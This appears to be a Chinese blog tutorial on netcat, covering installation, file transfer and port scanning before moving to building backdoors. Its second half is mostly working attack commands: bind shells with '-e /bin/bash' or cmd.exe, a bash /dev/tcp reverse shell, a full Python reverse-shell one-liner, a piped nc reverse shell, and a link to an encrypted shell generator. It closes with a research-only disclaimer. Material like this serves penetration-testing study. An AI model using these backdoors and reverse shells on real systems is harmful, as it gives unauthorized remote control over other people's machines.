前言
nc被誉为网络安全界的瑞士军刀,一个简单而有用的工具,通过使用TCP或UDP协议的网络连接去读写数据。
下载安装
windows下下载地址:https://eternallybored.org/misc/netcat/
下载解压将nc.exe 复制到C:\Windows\System32的文件夹下cmd命令nc即可(也可以配环境变量)
linux下:管理员权限下apt-get install netcat
,命令行nc查看是否安装成功
netcat基本使用
netcat文件交互
创建一个服务器端方法:nc -l -p
创建一个客户端方法(连接服务器端)nc [remote_addr] [remoteport]
netcat文件传输
创建服务器端:nc -l -p 4444 > outfile.txt
其中outfile.txt是要接受到的文件
创建客户端:nc 192.168.124.133 4444 < game.pcapng
其中game.pacpng是要发送的文件
其中如果服务端并没有准备好连接,而客户端已经使用nc进行连接,那么客户端会一直等待,直到连接上服务器,造成‘假死‘状态.
解决方法:设置等待时间nc -w 3 [ip] [port] 设置等待时间3秒,超过3秒钟,客户端直接关闭等待连接。
netcat信息探测
端口扫描使用
nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
nc -v -n -z -w1 192.168.124.133 1-1000
好吧这个不和nmap一样蛮,其实和nmap是一个作者都利用tcp/ip来判断
netcat建立后门
监听型后门
创建服务器端:
ncat -l -e /bin/bash -p 4444
-e 连接后执行执行某文件
其中/bin/bash是linux的shell解释器,连接后执行该文件,如果是windows要用来命令执行ncat -l -e cmd.exe -p 4444
客户端连接:执行命令nc -w 10 192.168.124.133 4444
连接型后门
服务器端:nc -l -p 4444
连接端nc [remote_ip] [remote_port] -e /bin/bash
windows下使用-e cmd.exencat 192.168.124.133 4444 -e /bin/bash
netcat反弹shell(bash)
反弹shell命令:bash -I >& /dev/tcp/ip/port 0>&1
pc接受netcat命令:nc -lvp port
netcat反弹shell(python)
服务器端:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.124.133‘,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash‘,‘-i‘]);"
客户端:nc -l -p 4444
首先使用socket与远程建立连接,具有了远程的文件描述符,可以使用s.fileno()来查看具体套接字建立的远程文件描述符。
os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,使用os的subprocess在本地开启了一个子进程,传入参数”-i” 使 bash 以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样就可以实现反弹shell.
netcat反弹shell(不支持 -e)
反弹shell命令:nc ip port | /bin/bash | nc ip port
用管道来重新定向输入和输出
pc接受netcat命令nc -l -p
需要启动两个监听端口
其中一个作为输入,一个作为输出
一个ncshell生成加密小工具(shellpy)
地址:https://github.com/DarkSecDevelopers/Shellpy
https://github.com/pyca/cryptography/blob/master/src/cryptography/fernet.py
使用方法修改ip和端口运行run.py,运行shell.exe
其中shell.py是经过加密的
参考文章及说明
国光大佬:https://www.sqlsec.com/2019/10/nc.html
小玉大佬:https://www.bilibili.com/video/BV1KZ4y1L7NZ
最后欢迎访问我的个人博客:https://lmg66.github.io/
说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担